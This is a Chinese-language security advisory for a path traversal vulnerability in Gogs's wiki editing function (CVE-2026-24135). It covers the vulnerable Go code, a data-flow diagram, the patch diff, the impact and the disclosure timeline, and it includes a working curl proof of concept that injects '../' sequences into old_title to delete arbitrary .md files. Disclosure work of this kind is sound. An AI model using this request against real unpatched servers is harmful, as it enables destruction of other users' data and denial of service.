严重性: 高危 (CVSS 7.5)
受影响的软件: Gogs <= 0.13.3
已修复版本: 0.13.4, 0.14.0+dev
安全公告: GHSA-jp7c-wj6q-3qf2
补丁: gogs/gogs#8099
在对 Gogs(一款流行的用 Go 编写的自托管 Git 服务)进行安全审计时,我发现了 updateWikiPage 函数中的一个路径遍历漏洞。它允许拥有 wiki 写入权限的认证用户通过在 wiki 编辑表单的 old_title 参数中注入路径遍历序列,删除服务器上的任意文件。
该漏洞是 internal/database/wiki.go 中的一个不对称的消毒缺陷。当 wiki 页面被更新时,该函数以不同方式处理两个标题参数:
| 参数 | 是否消毒? | 用于何处 |
|---|---|---|
title (新名称) | 是 — 通过 ToWikiPageName() | path.Join() 用于创建文件 |
oldTitle (先前名称) | 否 | path.Join() + os.Remove() |
// internal/database/wiki.go
// 第105行: 新标题已消毒
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// 第113-115行: 旧标题在 os.Remove() 之前未消毒
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← 存在漏洞
}
oldTitle 值直接从用户控制的表单输入经过路由处理器流入 os.Remove(),没有进行任何路径消毒。
用户输入(表单) 路由处理器 数据库函数
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (未消毒) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ 第114行: │
│ 未进行消毒! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
前提条件: 具有任意仓库 wiki 写入权限的认证用户。
/repo/wiki/edit 的 POST 请求old_title 表单字段,包含路径遍历序列(例如 ../../../../tmp/target_file)# 步骤1: 认证并创建/编辑一个 wiki 页面
# 步骤2: 拦截 POST 请求并在 old_title 中注入遍历路径
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# 结果: /tmp/target_file.md 从服务器上被删除
.md 扩展名会自动追加。任何 Gogs 进程具有写入权限的 .md 文件都可以被删除。
| 影响 | 描述 |
|---|---|
| 任意文件删除 | 删除 Gogs 进程可以写入的任何 .md 文件 |
对 oldTitle 应用与 title 相同的 ToWikiPageName 消毒逻辑:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... 已有代码 ...
title = ToWikiPageName(title)
+ // 消毒 oldTitle 以防止路径遍历
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
我在披露期间提出了这个修复方案,Gogs 维护者在 PR #8099 中实现了它。
| 拒绝服务 | 移除关键配置文件或数据文件 |
| 数据丢失 | 销毁其他用户的 wiki 页面、文档或仓库文件 |
| 潜在的权限提升 | 结合其他漏洞,可能导致进一步危害 |
| 日期 | 事件 |
|---|
| 2025-12-13 | 安全审计期间发现漏洞 |
| 2025-12-13 | 通过 GitHub 安全公告提交报告 (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | 与 Gogs 维护者后续跟进 |
| 2026-01-20 | 维护者确认漏洞 |
| 2026-01-22 | 合并补丁 (#8099) |
| 2026-01-22 | GitHub 分配 CVE-2026-24135 |
| 2026-02-06 | 公开披露 |